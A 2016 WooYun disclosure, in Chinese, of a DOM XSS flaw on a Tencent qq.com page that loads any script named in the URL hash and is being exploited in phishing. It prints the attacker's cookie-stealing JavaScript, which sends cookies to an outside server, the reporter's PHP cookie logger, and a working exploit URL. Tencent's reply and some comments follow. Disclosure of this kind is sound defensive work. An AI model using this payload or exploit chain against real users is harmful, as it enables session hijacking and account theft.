当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(22) 关注此漏洞

缺陷编号: WooYun-2016-177501

漏洞标题: 腾讯XSS漏洞允许执行远程js代码

相关厂商: 腾讯

漏洞作者: shuiguang

提交时间: 2016-02-22 09:46

公开时间: 2016-03-07 01:11

漏洞类型: 钓鱼欺诈信息

危害等级: 中

自评Rank: 6

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: QQ钓鱼风险 xss钓鱼

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-22: 细节已通知厂商并且等待厂商处理中
2016-02-22: 厂商已经确认,细节仅向厂商公开
2016-03-03: 细节向核心白帽子及相关领域专家公开
2016-03-13: 细节向普通白帽子公开
2016-03-23: 细节向实习白帽子公开
2016-03-07: 细节向公众公开

简要描述:

怀疑是腾讯技术人员故意留下的后门程序,通过document.write方法执行外部js代码盗取qq.com的cookie发送到指定服务器,如果QQ邮箱没有设置独立密码,可能会被异地登陆。

详细说明:

最近苹果设备丢失,骗子发来大量钓鱼链接到本人QQ邮箱,分析链接中带有qq.com的链接,竟然发现腾讯的这个页面允许执行外部js代码,截图为证:

钓鱼js.png



http://res.imtt.qq.com/h5game/h5game_res_real/c6ce027fa289da43fc941a94e4d2e4b3.html

源代码:

code 区域
<script>
var url = location.hash.slice(1);
document.write("<script src=\"" + url + "\"><\/script>");
</script>



钓鱼网址:

http://res.imtt.qq.com/h5game/h5game_res_real/c6ce027fa289da43fc941a94e4d2e4b3.html#http://www.qzoneon.com/iOSmEg?1451313334

源代码:

code 区域
(function () {
(new Image()).src = 'http://www.qzoneon.com/index.php?do=api&id=iOSmEg&location=' + escape((function () {
try {
return document.location.href
} catch (e) {
return ''
}
})()) + '&toplocation=' + escape((function () {
try {
return top.location.href
} catch (e) {
return ''
}
})()) + '&cookie=' + escape((function () {
try {
return document.cookie
} catch (e) {
return ''
}
})()) + '&opener=' + escape((function () {
try {
return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
} catch (e) {
return ''
}
})());
})();
if ('' == 1) {
keep = new Image();
keep.src = 'http://www.qzoneon.com/index.php?do=keepsession&id=iOSmEg&url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
};



document.cookie被发送到www.qzoneon.com的服务器,截图为证:



钓鱼服务器.png

漏洞证明:

为了方便测试,这里给出php代码,大神勿喷。

http://www.phprm.com/api/qq.php

源代码:

code 区域
<?php
if($_GET['id'] == 'wooyun')
{
$cookie = isset($_GET['cookie']) ? $_GET['cookie'] : '';
if(strlen($cookie) < 10000)
{
$cookie = unescape($cookie);
}else{
$cookie = 'too long';
}
$log = '['.date('Y-m-d H:i:s').']Cookie:'.$cookie;
error_log($log.PHP_EOL, 3, __DIR__ . '/log.txt');
}

function unescape($string)
{
$string = rawurldecode($string);
preg_match_all('/(?:%u.{4})|&#x.{4};|&#d+;|.+/U', $string, $r);
$ar = $r[0];
foreach($ar as $k=>$v)
{
if(substr($v,0,2) == '%u')
{
$ar[$k] = iconv('UCS-2','UTF-8', pack('H4', substr($v,-4)));
}elseif(substr($v,0,3) == '&#x'){
$ar[$k] = iconv('UCS-2','UTF-8', pack('H4', substr($v,3,-1)));
}elseif(substr($v,0,2) == '&#'){
$ar[$k] = iconv('UCS-2','UTF-8', pack('n', substr($v,2,-1)));
}
}
return implode('', $ar);
}



http://www.phprm.com/api/qq.js的代码就不贴出来了,传送cookie原理和百度统计类似。

接着请登录您的QQ小号并登录QQ邮箱,然后访问http://res.imtt.qq.com/h5game/h5game_res_real/c6ce027fa289da43fc941a94e4d2e4b3.html#http://www.phprm.com/api/qq.js



最后您可以在http://www.phprm.com/api/log.txt中查看到登陆的邮箱cookie。

修复方案:

我并非不相信腾讯的员工,而是最近收到了钓鱼链接太多,大多数都指向腾讯的各项被XSS注入的页面,建议腾讯各个产品部门自查漏洞并删除危险页面。

版权声明:转载请注明来源 shuiguang@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:1

确认时间:2016-02-22 10:29

厂商回复:

非常感谢您的报告。该问题已经通过其它渠道发现并已着手处理。如您有进一步发现,请及时与我们联系。如果您有任何的疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2016-02-22 09:49 | 红客十年 ( 普通白帽子 | Rank:392 漏洞数:80 | 去年离职富士康,回到家中上蓝翔,蓝翔毕业...)
    1

    沙发

  2. 2016-02-22 10:30 | wanglaojiu ( 普通白帽子 | Rank:170 漏洞数:40 | 道生一,一生二,二生三,三生万物,万物负...)
    1

    拿个板凳坐下边吃面条边看

  3. 2016-02-22 17:43 | ../ ( 路人 | Rank:10 漏洞数:3 )
    1

    66666666

登录后才能发表评论,请先 登录